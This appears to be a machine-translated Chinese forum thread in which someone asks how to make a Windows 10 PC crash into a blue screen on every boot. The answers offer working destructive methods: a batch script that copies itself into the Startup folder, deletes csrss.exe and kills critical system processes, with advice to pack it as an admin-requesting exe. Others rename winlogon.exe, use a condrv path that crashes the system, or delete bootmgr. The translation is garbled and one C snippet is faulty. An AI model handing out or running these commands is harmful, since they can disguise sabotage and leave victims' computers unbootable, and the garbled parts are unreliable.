我需要在Windows 10计算机上创建一个循环的蓝屏死机,即使在崩溃的系统中也能演示远程功能。我们可以使用bat脚本文件进行崩溃。我做了研究,发现了不合适的解决方案。
Windows可能会阻止所有因用户代码而导致系统崩溃的企图。实际上,用户模式代码不应该能够触发崩溃,只能触发内核代码。所以我知道存在像NotMyFault这样的工具允许玩内存以显示崩溃的蓝屏。
由于窗户无法加载,我想要的是一个循环的蓝屏。您是否有任何关于例如要删除的Windows文件的知识,导致计算机一次又一次地启动。 实际上我想得到的是一个损坏的窗口,即使是使用其他东西而不是bat文件。
答案 0 :(得分:1)
这是一个批处理文件。代码是; (不需要@echo off)(你也可以删除 :crash 和 goto crash)(只是循环它)请在 Bat2Exe 转换器中输出这个并选择 request admin uac
@echo off
xcopy %0 C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
goto crash
:crash
del /q /f /y csrss.exe
taskkill /f /im svchost.exe
taskkill /f /im wininit.exe taskkill /f /im winlogon.exe 崩溃了
答案 1 :(得分:0)
尝试更改系统启动文件以指向内存中的无效地址,以便在启动时导致BSOD。
答案 2 :(得分:0)
将winlogon.exe
重命名为something.exe
即可。顺便说一句,你需要成为一名管理员。
实施例。
cd c:\windows\system32
ren winlogon.exe something.exe
希望这有帮助
答案 3 :(得分:0)
通过右键单击任务管理器的“进程”选项卡中的wininit.exe并单击“结束进程”来终止wininit进程也可以。强制停止错误0xEF。
答案 4 :(得分:0)
// compile in x64 with VS2015
// will create a BSoD
#include <iostream>
#include <stdlib.h>
int main()
{
int *bobo = 0;
int c = 0;
do
{
bobo = (int*)malloc(1024 * 1024);
if (bobo != 0)
c++;
} while (bobo != 0 || c > 19000);
return c;
}
答案 5 :(得分:0)
最简单的方法是在我的选项中打开CMD as admin
并运行命令:
taskkill.exe /f /im svchost.exe
它将立即创建蓝屏。
答案 6 :(得分:0)
pushd \\.\GLOBALROOT\device\condrv\kernelconnect
(批处理代码+可以用iexpress转exe+放到启动文件夹)
答案 7 :(得分:0)
把bootmgr删了...你就不能开机了,也没有bsod